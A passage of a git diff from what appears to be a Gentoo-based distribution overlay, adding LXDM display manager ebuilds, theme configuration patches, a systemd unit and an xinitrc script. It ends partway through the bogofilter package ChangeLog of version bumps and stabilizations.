+1,32 @@ +--- orig/data/lxdm.conf.in 2013-07-01 01:20:22.289454072 +0300 ++++ data/lxdm.conf.in 2013-07-01 01:19:34.353452789 +0300 +@@ -1,6 +1,6 @@ + [base] + ## uncomment and set autologin username to enable autologin +-# autologin=dgod ++# autologin=rogentosuser + + ## uncomment and set timeout to enable timeout autologin, + ## the value should >=5 +@@ -24,10 +24,10 @@ + + [display] + ## gtk theme used by greeter +-gtk_theme=Clearlooks ++gtk_theme=Kogaion-light + + ## background of the greeter +-bg=/usr/share/backgrounds/default.png ++bg=/usr/share/lxdm/themes/Kogaion/kogaion.png + + ## if show bottom pane + bottom_pane=1 +@@ -39,7 +39,7 @@ + keyboard=0 + + ## the theme of greeter +-theme=Industrial ++theme=Kogaion + + [input] + diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-rogentos-conf.patch b/lxde-base/lxdm/files/lxdm-0.4.1-rogentos-conf.patch new file mode 100644 index 00000000..bfa28b6c --- /dev/null +++ b/lxde-base/lxdm/files/lxdm-0.4.1-rogentos-conf.patch @@ -0,0 +1,11 @@ +--- orig/data/lxdm.conf 2013-07-01 01:27:22.793465333 +0300 ++++ data/lxdm.conf 2013-07-01 01:27:34.691465652 +0300 +@@ -24,7 +24,7 @@ + + [display] + ## gtk theme used by greeter +-gtk_theme=Clearlooks ++gtk_theme=Kogaion-light + + ## background of the greeter + bg=/usr/share/backgrounds/default.png diff --git a/lxde-base/lxdm/files/lxdm.service b/lxde-base/lxdm/files/lxdm.service new file mode 100644 index 00000000..298914b5 --- /dev/null +++ b/lxde-base/lxdm/files/lxdm.service @@ -0,0 +1,11 @@ +[Unit] +Description=LXDM (Lightweight X11 Display Manager) +After=systemd-user-sessions.service + +[Service] +ExecStart=/usr/sbin/lxdm +Restart=always + +[Install] +Alias=display-manager.service +WantedBy=graphical.target diff --git a/lxde-base/lxdm/files/xinitrc b/lxde-base/lxdm/files/xinitrc new file mode 100644 index 00000000..013b8164 --- /dev/null +++ b/lxde-base/lxdm/files/xinitrc @@ -0,0 +1,52 @@ +# Source for this script borrowed from portions of kdm's Xsession. + +case $SHELL in + */bash) + [ -z "$BASH" ] && exec $SHELL $0 "$@" + set +o posix + [ -f /etc/profile ] && . /etc/profile + if [ -f $HOME/.bash_profile ]; then + . $HOME/.bash_profile + elif [ -f $HOME/.bash_login ]; then + . $HOME/.bash_login + elif [ -f $HOME/.profile ]; then + . $HOME/.profile + fi + ;; + */zsh) + [ -z "$ZSH_NAME" ] && exec $SHELL $0 "$@" + emulate -R zsh + [ -d /etc/zsh ] && zdir=/etc/zsh || zdir=/etc + zhome=${ZDOTDIR:-$HOME} + # zshenv is always sourced automatically. + [ -f $zdir/zprofile ] && . $zdir/zprofile + [ -f $zhome/.zprofile ] && . $zhome/.zprofile + [ -f $zdir/zlogin ] && . $zdir/zlogin + [ -f $zhome/.zlogin ] && . $zhome/.zlogin + ;; + */csh|*/tcsh) + # [t]cshrc is always sourced automatically. + # Note that sourcing csh.login after .cshrc is non-standard. + xsess_tmp=`mktemp /tmp/xsess-env-XXXXXX` + $SHELL -c "if (-f /etc/csh.login) source /etc/csh.login; if (-f ~/.login) source ~/.login; /bin/sh -c export -p >! $xsess_tmp" + . $xsess_tmp + rm -f $xsess_tmp + ;; + *) # Plain sh, ksh, and anything we do not know. + [ -f /etc/profile ] && . /etc/profile + [ -f $HOME/.profile ] && . $HOME/.profile + ;; +esac + +[ -f /etc/xprofile ] && . /etc/xprofile +[ -f $HOME/.xprofile ] && . $HOME/.xprofile + +# run all system xinitrc shell scripts. +if [ -d /etc/X11/xinit/xinitrc.d ]; then + for i in /etc/X11/xinit/xinitrc.d/* ; do + if [ -x "$i" ]; then + . "$i" + fi + done +fi + diff --git a/lxde-base/lxdm/lxdm-0.4.1-r7.ebuild b/lxde-base/lxdm/lxdm-0.4.1-r7.ebuild new file mode 100644 index 00000000..7ac178d7 --- /dev/null +++ b/lxde-base/lxdm/lxdm-0.4.1-r7.ebuild @@ -0,0 +1,89 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" + +inherit eutils autotools systemd + +DESCRIPTION="LXDE Display Manager" +HOMEPAGE="http://lxde.org" +SRC_URI="mirror://sourceforge/lxde/${P}.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~arm ~amd64 ~x86" + +IUSE="debug gtk3 nls pam" + +RDEPEND="sys-auth/consolekit + x11-libs/libxcb + >=x11-themes/kogaion-artwork-lxde-1 + gtk3? ( x11-libs/gtk+:3 ) + !gtk3? ( x11-libs/gtk+:2 ) + nls? ( sys-devel/gettext ) + pam? ( virtual/pam )" +DEPEND="${RDEPEND} + >=dev-util/intltool-0.40 + dev-util/pkgconfig" + +src_prepare() { + # Upstream bug, tarball contains pre-made lxdm.conf + epatch "${FILESDIR}/${P}-rogentos-conf.patch" + rm "${S}"/data/lxdm.conf || die + + # There is consolekit + epatch "${FILESDIR}/${P}-pam_console-disable.patch" + # Backported, drop it when 0.4.2 + epatch "${FILESDIR}/${P}-git-fix-null-pointer-deref.patch" + # RogentOS specific theme patch + epatch "${FILESDIR}/${P}-rogentos-1-theme.patch" + # Fix sessions with arguments, see: + # http://lists.sabayon.org/pipermail/devel/2012-January/007582.html + epatch "${FILESDIR}/${P}-fix-session-args.patch" + + epatch "${FILESDIR}"/${P}-configure-add-pam.patch + + # 403999 + epatch "${FILESDIR}"/${P}-missing-pam-defines.patch + + epatch "${FILESDIR}"/${P}-fix-event-check-bug.patch + + # Also see #422495 + epatch "${FILESDIR}"/${P}-pam-use-system-local-login.patch + + # See https://bugs.launchpad.net/ubuntu/+source/lxdm/+bug/922363 + epatch "${FILESDIR}/${P}-fix-pam-100-cpu.patch" + + # this replaces the bootstrap/autogen script in most packages + eautoreconf + + # process LINGUAS + if use nls; then + einfo "Running intltoolize ..." + intltoolize --force --copy --automake || die + strip-linguas -i "${S}/po" || die + fi +} +src_configure() { + econf --enable-password \ + --with-x \ + --with-xconn=xcb \ + $(use_enable gtk3) \ + $(use_enable nls) \ + $(use_enable debug) \ + $(use_with pam) +} + +src_install() { + emake DESTDIR="${D}" install || die + dodoc AUTHORS README TODO || die + + systemd_dounit "${FILESDIR}/lxdm.service" +} + +pkg_postinst() { + echo + elog "LXDM in the early stages of development!" + echo +} diff --git a/lxde-base/lxdm/lxdm-0.4.1-r8.ebuild b/lxde-base/lxdm/lxdm-0.4.1-r8.ebuild new file mode 100644 index 00000000..9ea406ac --- /dev/null +++ b/lxde-base/lxdm/lxdm-0.4.1-r8.ebuild @@ -0,0 +1,93 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" + +inherit eutils autotools systemd + +DESCRIPTION="LXDE Display Manager" +HOMEPAGE="http://lxde.org" +SRC_URI="mirror://sourceforge/lxde/${P}.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~arm ~amd64 ~x86" + +IUSE="consolekit debug gtk3 nls pam" + +RDEPEND="consolekit? ( sys-auth/consolekit ) + x11-libs/libxcb + >=x11-themes/kogaion-artwork-lxde-1 + gtk3? ( x11-libs/gtk+:3 ) + !gtk3? ( x11-libs/gtk+:2 ) + nls? ( sys-devel/gettext ) + pam? ( virtual/pam )" +DEPEND="${RDEPEND} + >=dev-util/intltool-0.40 + dev-util/pkgconfig" + +src_prepare() { + # Upstream bug, tarball contains pre-made lxdm.conf + epatch "${FILESDIR}"/"${P}"-rogentos-conf.patch + rm "${S}"/data/lxdm.conf || die + + # There is consolekit + epatch "${FILESDIR}/${P}-pam_console-disable.patch" + # Backported, drop it when 0.4.2 + epatch "${FILESDIR}/${P}-git-fix-null-pointer-deref.patch" + # Sabayon specific theme patch + epatch "${FILESDIR}/${P}-rogentos-1-theme.patch" + # Fix sessions with arguments, see: + # http://lists.sabayon.org/pipermail/devel/2012-January/007582.html + epatch "${FILESDIR}/${P}-fix-session-args.patch" + + epatch "${FILESDIR}"/${P}-configure-add-pam.patch + + # 403999 + epatch "${FILESDIR}"/${P}-missing-pam-defines.patch + + epatch "${FILESDIR}"/${P}-fix-event-check-bug.patch + + # Also see #422495 + epatch "${FILESDIR}"/${P}-pam-use-system-local-login.patch + + # See https://bugs.launchpad.net/ubuntu/+source/lxdm/+bug/922363 + epatch "${FILESDIR}/${P}-fix-pam-100-cpu.patch" + + # Make consolekit optional + epatch "${FILESDIR}/${P}-optional-consolekit.patch" + + # this replaces the bootstrap/autogen script in most packages + eautoreconf + + # process LINGUAS + if use nls; then + einfo "Running intltoolize ..." + intltoolize --force --copy --automake || die + strip-linguas -i "${S}/po" || die + fi +} +src_configure() { + econf --enable-password \ + --with-x \ + --with-xconn=xcb \ + $(use_enable consolekit) \ + $(use_enable gtk3) \ + $(use_enable nls) \ + $(use_enable debug) \ + $(use_with pam) +} + +src_install() { + emake DESTDIR="${D}" install || die + dodoc AUTHORS README TODO || die + + systemd_dounit "${FILESDIR}/lxdm.service" +} + +pkg_postinst() { + echo + elog "LXDM in the early stages of development!" + echo +} diff --git a/lxde-base/lxdm/metadata.xml b/lxde-base/lxdm/metadata.xml new file mode 100644 index 00000000..06d7ed17 --- /dev/null +++ b/lxde-base/lxdm/metadata.xml @@ -0,0 +1,5 @@ + + + + lxde + diff --git a/mail-filter/bogofilter/ChangeLog b/mail-filter/bogofilter/ChangeLog new file mode 100644 index 00000000..4bf8c2dc --- /dev/null +++ b/mail-filter/bogofilter/ChangeLog @@ -0,0 +1,777 @@ +# ChangeLog for mail-filter/bogofilter +# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/mail-filter/bogofilter/ChangeLog,v 1.148 2012/12/15 17:45:29 armin76 Exp $ + + 15 Dec 2012; Raúl Porcel bogofilter-1.2.3.ebuild: + alpha/ia64/sh/sparc stable wrt #445908 + + 05 Dec 2012; Anthony G. Basile bogofilter-1.2.3.ebuild: + stable arm, bug #445908 + + 04 Dec 2012; Jeroen Roovers bogofilter-1.2.3.ebuild: + Stable for HPPA (bug #445908). + + 04 Dec 2012; bogofilter-1.2.3.ebuild: + Stable for ppc64, wrt bug #445908 + + 04 Dec 2012; bogofilter-1.2.3.ebuild: + Stable for ppc, wrt bug #445908 + + 04 Dec 2012; bogofilter-1.2.3.ebuild: + Stable for x86, wrt bug #445908 + + 04 Dec 2012; bogofilter-1.2.3.ebuild: + Stable for amd64, wrt bug #445908 + +*bogofilter-1.2.3 (04 Dec 2012) + + 04 Dec 2012; Eray Aslan +bogofilter-1.2.3.ebuild: + Security bump - bug #445908 + + 04 Jun 2012; Zac Medico bogofilter-1.2.2.ebuild: + inherit eutils for epatch + + 10 Jun 2011; Eray Aslan bogofilter-1.2.2.ebuild, + +files/bogofilter-1.2.2-gcc34.patch: + Fix gcc-3.4 compile error - bug #324405. Thanks to Roman BarczyÅ„ski. + + 11 Oct 2010; Torsten Veller bogofilter-1.2.2.ebuild: + Bump EAPI for has_version atoms (#340473) + + 12 Aug 2010; Torsten Veller -bogofilter-0.92.8.ebuild, + -bogofilter-1.2.1.ebuild, -bogofilter-1.2.1-r1.ebuild: + Cleanup. Bye bye mips + + 11 Aug 2010; Joseph Jezak bogofilter-1.2.2.ebuild: + Marked ppc64 stable for bug #327657. + + 31 Jul 2010; Raúl Porcel bogofilter-1.2.2.ebuild: + alpha/ia64/sh/sparc stable wrt #327657 + + 29 Jul 2010; Jeroen Roovers bogofilter-1.2.2.ebuild: + Stable for PPC (bug #327657). + + 29 Jul 2010; Jeroen Roovers bogofilter-1.2.2.ebuild: + Stable for HPPA (bug #327657). + + 26 Jul 2010; Markus Meier bogofilter-1.2.2.ebuild: + amd64/arm/x86 stable, bug #327657 + +*bogofilter-1.2.2 (09 Jul 2010) + + 09 Jul 2010; Torsten Veller +bogofilter-1.2.2.ebuild: + Version bump. + Fixes a heap corruption in base64 decoder on invalid input (CVE-2010-2494) + + 06 Jun 2010; Raúl Porcel bogofilter-1.2.1-r1.ebuild: + Add ~arm/~sh wrt #314849 + +*bogofilter-1.2.1-r1 (12 Apr 2010) + + 12 Apr 2010; Torsten Veller +bogofilter-1.2.1-r1.ebuild, + metadata.xml: + Add tokyocabinet support + + 03 Nov 2009; Torsten Veller -bogofilter-1.2.0.ebuild: + Cleanup + + 21 Oct 2009; Jeroen Roovers bogofilter-1.2.1.ebuild: + Stable for HPPA (bug #284900). + + 27 Sep 2009; nixnut bogofilter-1.2.1.ebuild: + ppc stable #284900 + + 27 Sep 2009; Brent Baude bogofilter-1.2.1.ebuild: + Marking bogofilter-1.2.1 ppc64 for bug 284900 + + 23 Sep 2009; Raúl Porcel bogofilter-1.2.1.ebuild: + alpha/arm/ia64/sh/sparc stable wrt #284900 + + 23 Sep 2009; Patrick Lauer bogofilter-0.92.8.ebuild: + Remove virtual/libc + + 16 Sep 2009; Christian Faulhammer + bogofilter-1.2.1.ebuild: + stable x86, bug 284900 + + 16 Sep 2009; Romain Perier + bogofilter-1.2.1.ebuild: + Stable for amd64 per bug #284900. + +*bogofilter-1.2.1 (02 Aug 2009) + + 02 Aug 2009; Torsten Veller +bogofilter-1.2.1.ebuild: + Version bump + + 02 May 2009; Torsten Veller -bogofilter-1.1.7.ebuild: + Cleanup + + 02 May 2009; Jeroen Roovers bogofilter-1.2.0.ebuild: + Stable for HPPA (bug #264832). + + 23 Apr 2009; Raúl Porcel bogofilter-1.2.0.ebuild: + arm/ia64/sh/sparc stable wrt #264832 + + 18 Apr 2009; nixnut bogofilter-1.2.0.ebuild: + ppc stable #264832 + + 15 Apr 2009; Markus Meier bogofilter-1.2.0.ebuild: + amd64/x86 stable, bug #264832 + + 14 Apr 2009; Brent Baude bogofilter-1.2.0.ebuild: + Marking bogofilter-1.2.0 ppc64 for bug 264832 + + 07 Apr 2009; Tobias Klausmann + bogofilter-1.2.0.ebuild: + Stable on alpha, bug #264832 + +*bogofilter-1.2.0 (22 Feb 2009) + + 22 Feb 2009; Torsten Veller +bogofilter-1.2.0.ebuild: + Version bump + + 23 Nov 2008; Torsten Veller -bogofilter-1.1.5.ebuild, + -bogofilter-1.1.6.ebuild: + Cleanup + + 10 Nov 2008; Raúl Porcel bogofilter-1.1.7.ebuild: + arm/sh stable + + 11 Jun 2008; nixnut bogofilter-1.1.7.ebuild: + Stable on ppc wrt bug 224849 + + 08 Jun 2008; Raúl Porcel bogofilter-1.1.7.ebuild: + alpha/ia64 stable wrt #224849 + + 07 Jun 2008; Kenneth Prugh bogofilter-1.1.7.ebuild: + amd64 stable, bug #224849 + + 07 Jun 2008; Friedrich Oslage + bogofilter-1.1.7.ebuild: + stable on sparc, bug #224849 + + 04 Jun 2008; Markus Rothe bogofilter-1.1.7.ebuild: + Stable on ppc64; bug #224849 + + 04 Jun 2008; Jeroen Roovers bogofilter-1.1.7.ebuild: + Stable for HPPA (bug #224849). + + 04 Jun 2008; Dawid WÄ™gliÅ„ski bogofilter-1.1.7.ebuild: + Stable on x86 (bug #224849) + +*bogofilter-1.1.7 (05 May 2008) + + 05 May 2008; Torsten Veller +bogofilter-1.1.7.ebuild: + Version bump + + 01 Mar 2008; Christoph Mende bogofilter-1.1.6.ebuild: + Stable on amd64, bug #211412 + + 29 Feb 2008; Brent Baude bogofilter-1.1.6.ebuild: + stable ppc64, bug 211412 + + 27 Feb 2008; Raúl Porcel bogofilter-1.1.6.ebuild: + alpha/ia64 stable wrt #211412 + + 26 Feb 2008; Ferris McCormick bogofilter-1.1.6.ebuild: + Sparc stable --- Bug #211412 --- tests good. + + 26 Feb 2008; nixnut bogofilter-1.1.6.ebuild: + Stable on ppc wrt bug 211412 + + 26 Feb 2008; Jeroen Roovers bogofilter-1.1.6.ebuild: + Stable for HPPA (bug #211412). + + 26 Feb 2008; Christian Faulhammer bogofilter-1.1.6.ebuild: + stable x86, bug 211412 + +*bogofilter-1.1.6 (28 Nov 2007) + + 28 Nov 2007; Torsten Veller +bogofilter-1.1.6.ebuild: + Version bump. + + 14 Jul 2007; Torsten Veller + -files/1.1.1-patch.1107.lexer_v3_l, bogofilter-0.92.8.ebuild, + -bogofilter-1.1.1-r1.ebuild: + Removed unneeded version and keyword from 0.92.8 + + 11 Jun 2007; Daniel Gryniewicz bogofilter-1.1.5.ebuild: + Marked stable on amd64 for bug #180736 + + 10 Jun 2007; Tobias Scherbaum + bogofilter-1.1.5.ebuild: + ppc stable, bug #180736 + + 09 Jun 2007; Raúl Porcel bogofilter-1.1.5.ebuild: + alpha/ia64 stable wrt #180736 + + 04 Jun 2007; Christian Faulhammer + bogofilter-1.1.5.ebuild: + stable x86, security bug 180736 + + 04 Jun 2007; Brent Baude bogofilter-1.1.5.ebuild: + Marking bogofilter-1.1.5 ppc64 stable for bug#180736 + + 04 Jun 2007; Gustavo Zacarias + bogofilter-1.1.5.ebuild: + Stable on sparc wrt #180736 + + 03 Jun 2007; Jeroen Roovers bogofilter-1.1.5.ebuild: + Stable for HPPA (bug #180736). + + 28 Feb 2007; Torsten Veller bogofilter-1.1.5.ebuild: + Include fix for USE="berkdb -sqlite" + + 28 Feb 2007; Roy Marples bogofilter-1.1.5.ebuild: + Added ~x86-fbsd keyword. When building against berkdb, include the versioned + db header dir as /usr/include/db.h is always db-1 on FreeBSD. + +*bogofilter-1.1.5 (15 Jan 2007) + + 15 Jan 2007; Torsten Veller -bogofilter-1.1.4.ebuild, + +bogofilter-1.1.5.ebuild: + Version bump. Removed 1.1.4 + + 06 Jan 2007; Torsten Veller + -files/1.1.3-patch.1142.Makefile.in, bogofilter-0.92.8.ebuild, + bogofilter-1.1.1-r1.ebuild, -bogofilter-1.1.3.ebuild, + bogofilter-1.1.4.ebuild: + Removed unneeded version and changed einfo->elog + +*bogofilter-1.1.4 (01 Jan 2007) + + 01 Jan 2007; Torsten Veller +bogofilter-1.1.4.ebuild: + Version bump + + 26 Dec 2006; Andrej Kacian + -files/1.1.3-patch.1142.Makefile.am, +files/1.1.3-patch.1142.Makefile.in, + bogofilter-1.1.3.ebuild: + Patch src/Makefile.in instead of src/Makefile.am to avoid having to run + autoconf, thus fixing bug #159088. + + 26 Dec 2006; Andrej Kacian bogofilter-1.1.3.ebuild: + Revert last change, this was not a proper fix. + + 26 Dec 2006; Andrej Kacian bogofilter-1.1.3.ebuild: + Make sci-libs/gsl an unconditional dependency, since we're rebuilding + configure and need macros provided by it. Closes bug #159088, reported by + Lónyai Gergely . + + 09 Dec 2006; Torsten Veller + +files/1.1.3-patch.1142.Makefile.am, bogofilter-1.1.3.ebuild: + Fixes parallel make failure with included gsl (bug #112638). Thanks to + Martin von Gagern and David Relson. + +*bogofilter-1.1.3 (03 Dec 2006) + + 03 Dec 2006; Torsten Veller -bogofilter-1.1.1.ebuild, + +bogofilter-1.1.3.ebuild: + Version bump. Removed old version. + + 02 Dec 2006; Torsten Veller -bogofilter-1.0.2.ebuild, + -bogofilter-1.0.3.ebuild, bogofilter-1.1.1-r1.ebuild: + Lifting keywords for alpha, ia64, ppc, ppc64 from 1.1.1 to 1.1.1-r1 wrt bugs + #153240 and #153939. Removing old versions. + + 01 Dec 2006; Gustavo Zacarias + bogofilter-1.1.1-r1.ebuild: + Stable on hppa wrt #153240 + + 20 Nov 2006; Gustavo Zacarias + bogofilter-1.1.1-r1.ebuild: + Stable on sparc + + 10 Nov 2006; Daniel Gryniewicz + bogofilter-1.1.1-r1.ebuild: + Marked stable on amd64 for bug #153240 + + 08 Nov 2006; Christian Faulhammer + bogofilter-1.1.1-r1.ebuild: + stable x86, bug #153240 + + 08 Nov 2006; Torsten Veller + files/1.1.1-patch.1107.lexer_v3_l: + Removed cvs keywords from patch + +*bogofilter-1.1.1-r1 (08 Nov 2006) + + 08 Nov 2006; Torsten Veller + +files/1.1.1-patch.1107.lexer_v3_l, +bogofilter-1.1.1-r1.ebuild: + Bump to address bug #153939. + + 04 Nov 2006; Alexander H. Færøy + bogofilter-1.1.1.ebuild: + stable on alpha, bug 153240 + + 01 Nov 2006; Bryan Østergaard + bogofilter-1.1.1.ebuild: + Stable on ia64, bug 153240. + + 30 Oct 2006; Jason Wever bogofilter-1.1.1.ebuild: + Stable on SPARC wrt bug #153240. + + 29 Oct 2006; nixnut bogofilter-1.1.1.ebuild: + Stable on ppc wrt bug 153240 + + 29 Oct 2006; Torsten Veller bogofilter-0.92.8.ebuild: + Removed keywords from old version except arm and ~mips (#74046) + + 29 Oct 2006; Joshua bogofilter-1.1.1.ebuild: + Keyword bogofilter-1.1.1 ppc64 stable. Bug 153240. + + 20 Oct 2006; Bryan Østergaard + bogofilter-1.0.2.ebuild: + Stable on Alpha. + +*bogofilter-1.1.1 (24 Aug 2006) + + 24 Aug 2006; Torsten Veller +bogofilter-1.1.1.ebuild: + Version bump. + + 23 Aug 2006; Gustavo Zacarias + bogofilter-1.0.2.ebuild: + Stable on hppa wrt #133817 + + 09 Aug 2006; Chris Gianelloni + bogofilter-1.0.2.ebuild: + Stable on x86 wrt bug #133817. + + 08 Aug 2006; Thomas Cort bogofilter-1.0.2.ebuild: + Stable on amd64 wrt Bug #133817. + + 23 Jul 2006; Tobias Scherbaum + bogofilter-1.0.2.ebuild: + ppc stable, bug #133817 + + 13 Jul 2006; Aron Griffis bogofilter-1.0.2.ebuild: + Mark 1.0.2 stable on ia64 + +*bogofilter-1.0.3 (11 Jul 2006) + + 11 Jul 2006; Torsten Veller -bogofilter-1.0.1.ebuild, + +bogofilter-1.0.3.ebuild: + Version bump. + + 21 Jun 2006; Daniel Gryniewicz bogofilter-1.0.2.ebuild: + Un-keyword amd64. I don't know why repoman succeeded the first time + + 21 Jun 2006; Markus Rothe bogofilter-1.0.2.ebuild: + Stable on ppc64; bug #133817 + + 21 Jun 2006; Daniel Gryniewicz bogofilter-1.0.2.ebuild: + Marked stable on amd64 per bug#133817 + + 21 Jun 2006; Gustavo Zacarias + bogofilter-1.0.2.ebuild: + Stable on sparc wrt #133817 + + 20 Jun 2006; Torsten Veller bogofilter-1.0.2.ebuild: + Changed dependency to virtual/libiconv + +*bogofilter-1.0.2 (04 Mar 2006) + + 04 Mar 2006; Torsten Veller +bogofilter-1.0.2.ebuild: + New current version. Removed doc useflag. + +*bogofilter-1.0.1 (03 Jan 2006) + + 03 Jan 2006; Torsten Veller -bogofilter-0.96.5.ebuild, + -bogofilter-0.96.6.ebuild, -bogofilter-1.0.0.ebuild, + +bogofilter-1.0.1.ebuild: + Version bump. Removing unneeded versions. + + 11 Dec 2005; Torsten Veller bogofilter-0.92.8.ebuild: + uses always included gsl lib (bug #112638). + + 04 Dec 2005; Tom Gall bogofilter-0.92.8.ebuild: + stable on ppc64 + +*bogofilter-1.0.0 (01 Dec 2005) + + 01 Dec 2005; Torsten Veller +bogofilter-1.0.0.ebuild: + Version bump. + + 24 Nov 2005; Torsten Veller bogofilter-0.96.6.ebuild: + Added "make check" patch from upstream. + +*bogofilter-0.96.6 (13 Nov 2005) + + 13 Nov 2005; Torsten Veller +bogofilter-0.96.6.ebuild: + Version bump. + +*bogofilter-0.96.5 (08 Nov 2005) + + 08 Nov 2005; Torsten Veller -bogofilter-0.94.14.ebuild, + -bogofilter-0.95.2.ebuild, -bogofilter-0.96.2.ebuild, + +bogofilter-0.96.5.ebuild: + Version bump: 0.96.5 a.k.a. 1.0.0-rc5 + +*bogofilter-0.96.2 (25 Sep 2005) + + 25 Sep 2005; Torsten Veller +bogofilter-0.96.2.ebuild: + New version. + + 13 Sep 2005; Aron Griffis bogofilter-0.92.8.ebuild: + Mark 0.92.8 stable on alpha + +*bogofilter-0.95.2 (12 Jul 2005) + + 12 Jul 2005; Torsten Veller metadata.xml, + +bogofilter-0.95.2.ebuild: + Version bump. 0.95.2 supports Unicode (UTF-8). + For 64-bit machines that require 8-byte alignment for longword access + >=dev-db/sqlite-3.2.2 is needed. + +*bogofilter-0.94.14 (09 Jun 2005) + + 09 Jun 2005; Torsten Veller -bogofilter-0.94.12.ebuild, + -bogofilter-0.94.13.ebuild, +bogofilter-0.94.14.ebuild: + Bugfix release. + +*bogofilter-0.94.13 (31 May 2005) + + 31 May 2005; Torsten Veller -bogofilter-0.94-11-ebuild, + +bogofilter-0.94.13.ebuild: + Bugfix release. + The ebuild supports SQLite3 as alternative backend and iconv for + charset conversion. + +*bogofilter-0.94.12 (18 May 2005) + + 18 May 2005; Torsten Veller +bogofilter-0.94.12.ebuild: + New Stable release. + +*bogofilter-0.94.11 (11 May 2005) + + 11 May 2005; Torsten Veller -bogofilter-0.94.8.ebuild, + +bogofilter-0.94.11.ebuild: + Version bump. + +*bogofilter-0.94.8 (04 May 2005) + + 04 May 2005; Torsten Veller -bogofilter-0.94.6.ebuild, + +bogofilter-0.94.8.ebuild: + New Current Version. + +*bogofilter-0.94.6 (30 Apr 2005) + + 30 Apr 2005; Torsten Veller -bogofilter-0.94.4.ebuild, + +bogofilter-0.94.6.ebuild: + New Current Version. + +*bogofilter-0.94.4 (10 Apr 2005) + + 10 Apr 2005; Torsten Veller +bogofilter-0.94.4.ebuild: + New Current Version + +*bogofilter-0.94.3 (30 Mar 2005) + + 30 Mar 2005; Torsten Veller -bogofilter-0.94.2.ebuild, + +bogofilter-0.94.3.ebuild: + New Current Version. + +*bogofilter-0.94.2 (25 Mar 2005) + + 25 Mar 2005; Torsten Veller -bogofilter-0.94.1.ebuild, + +bogofilter-0.94.2.ebuild: + New Current Release. + +*bogofilter-0.94.1 (17 Mar 2005) + + 17 Mar 2005; Torsten Veller -bogofilter-0.94.0.ebuild, + +bogofilter-0.94.1.ebuild: + New Current Version. + +*bogofilter-0.94.0 (06 Mar 2005) + + 06 Mar 2005; Torsten Veller -bogofilter-0.93.4.ebuild, + +bogofilter-0.94.0.ebuild: + Version bump. + +*bogofilter-0.93.4 (10 Jan 2005) + + 10 Jan 2005; Torsten Veller -bogofilter-0.93.2.ebuild, + +bogofilter-0.93.4.ebuild: + Version bump. + + 28 Dec 2004; Olivier Fisette + bogofilter-0.93.2.ebuild: + Dependency update: dev-libs/gsl -> sci-libs/gsl. + +*bogofilter-0.93.2 (14 Dec 2004) + + 14 Dec 2004; Torsten Veller -bogofilter-0.13.7.3.ebuild, + -bogofilter-0.17.5.ebuild, -bogofilter-0.92.2.ebuild, + -bogofilter-0.92.6.ebuild, -bogofilter-0.92.7.ebuild, + +bogofilter-0.93.2.ebuild: + Version bump. Closes #73919, reported by Erinn Looney-Triggs. + Clean out old ebuilds, #69505. + + 02 Nov 2004; Jeremy Huddleston + bogofilter-0.92.8.ebuild: + Stable amd64. + + 02 Nov 2004; Kurt Lieber bogofilter-0.92.8.ebuild: + tested/stabilized on x86 for 69505. also marking as ppc since pylon + tested it earlier + + 30 Oct 2004; Ferris McCormick bogofilter-0.92.8.ebuild: + Stable for sparc, closing bug 69505. + + 30 Oct 2004; Lars Weiler bogofilter-0.92.8.ebuild: + Stable on ppc as requested in bug #69505 + + 23 Oct 2004; Andrej Kacian bogofilter-0.92.8.ebuild: + Do not install nonexistent files from the tarball. Fixed according to patch + from #68245, submitted by tove . + +*bogofilter-0.92.8 (20 Oct 2004) + + 20 Oct 2004; Brandon Low +bogofilter-0.92.8.ebuild: + Bump + + 14 Oct 2004; Andrej Kacian bogofilter-0.92.2.ebuild, + bogofilter-0.92.6.ebuild, bogofilter-0.92.7.ebuild: + Removed unnecessary einfo block from 0.92.x ebuilds. Sort-of fixes #67425, + reported by Daniel Webert . + + 11 Oct 2004; Ferris McCormick bogofilter-0.92.6.ebuild: + Stable for sparc. + + 11 Oct 2004; Tom Martin bogofilter-0.92.6.ebuild: + Stable on amd64. + +*bogofilter-0.92.7 (11 Oct 2004) + + 11 Oct 2004; Brandon Low -bogofilter-0.92.0.ebuild, + -bogofilter-0.92.1.ebuild, bogofilter-0.92.6.ebuild, + +bogofilter-0.92.7.ebuild: + Move 0.92.6 to stable on x86 (other arches, please follow), clean out old + ebiulds that do not have any unique keywords, bump the latest unstable to + 0.92.7 + + 02 Oct 2004; Jason Wever bogofilter-0.92.2.ebuild: + Stable on sparc. + + 25 Sep 2004; Andrej Kacian bogofilter-0.17.5.ebuild, + bogofilter-0.92.1.ebuild, bogofilter-0.92.2.ebuild: + Stable on x86. + + 25 Sep 2004; Andrej Kacian bogofilter-0.92.2.ebuild: + Stable on x86. + +*bogofilter-0.92.6 (05 Sep 2004) + + 05 Sep 2004; Andrej Kacian +bogofilter-0.92.6.ebuild: + Version bump. Also moved contrib stuff from /usr/lib/bogofilter/contrib to + /usr/share/bogofilter/contrib. Closes #62933, reported by tove + . + +*bogofilter-0.92.2 (19 Jul 2004) + + 19 Jul 2004; Brandon Low +bogofilter-0.92.2.ebuild: + Bump + + 12 Jul 2004; Brandon Low -bogofilter-0.91.1.ebuild: + This version has an open bug and is not the latest so zapping it + + 12 Jul 2004; Brandon Low bogofilter-0.92.0.ebuild: + Mark stable on x86, that brings us up-to-date with the bogofilter team for the + first time in a long time. Hope this version works as well for the rest of you + as it has for me. + +*bogofilter-0.92.1 (06 Jul 2004) +*bogofilter-0.92.0 (06 Jul 2004) + + 06 Jul 2004; Brandon Low -bogofilter-0.14.5.4.ebuild, + -bogofilter-0.15.13.1.ebuild, -bogofilter-0.16.4.ebuild, + bogofilter-0.91.1.ebuild, +bogofilter-0.92.0.ebuild, + +bogofilter-0.92.1.ebuild: + Bump up stable on x86, hope this doesn't break anyone... add 2 new unstable + versions for testing... clean up cruft + + 01 Jul 2004; Jeremy Huddleston + bogofilter-0.13.7.3.ebuild, bogofilter-0.14.5.4.ebuild, + bogofilter-0.15.13.1.ebuild, bogofilter-0.16.4.ebuild, + bogofilter-0.17.5.ebuild, bogofilter-0.91.1.ebuild: + 